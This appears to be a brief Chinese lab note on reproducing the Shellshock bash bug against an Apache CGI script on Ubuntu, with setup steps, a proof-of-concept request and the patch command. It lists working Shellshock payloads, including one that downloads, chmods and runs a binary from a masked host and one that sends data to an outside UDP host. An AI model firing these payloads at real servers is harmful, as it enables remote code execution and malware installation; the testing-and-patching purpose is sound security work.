指定cgi目录vim /etc/apache2/sites-available/default
ScriptAlias /cgi-bin/ /var/www/cgi-bin/
<Directory "/var/www/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
cgi脚本解析功能,添加支持后缀vim /etc/apache2/mods-available/mime.conf
重启serverAddHandler cgi-script .cgi .pl
service apache2 restart
编写vim /var/www/cgi-bin/poc.cgi
#!/bin/bash
echo "Content-type: text/html"
echo ""
chmod +x poc.cgi
http 127.0.0.1/cgi-bin/poc.cgi User-Agent:'() { :;}; echo X-Bash-Test: `echo bash shellshock`'

() { :; }; echo X-Bash-Test: `echo tcy6n3f0uU`;
() { :; }; ping -c 3 xxx.xxx.xxx.xxx
() { :; }; echo x-bash-header: hello haha
() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444
() { :; }; /bin/bash -c 'if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget xx.xxx.xx.xxx:5487/v64 -O /tmp/.osock; else /usr/bin/wget xx.xxx.xx.xxx:5487/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &'

apt-get update
apt-get -y install --only-upgrade bash
[科普文]ubuntu上安装Apache2+ModSecurity及自定义WAF规则
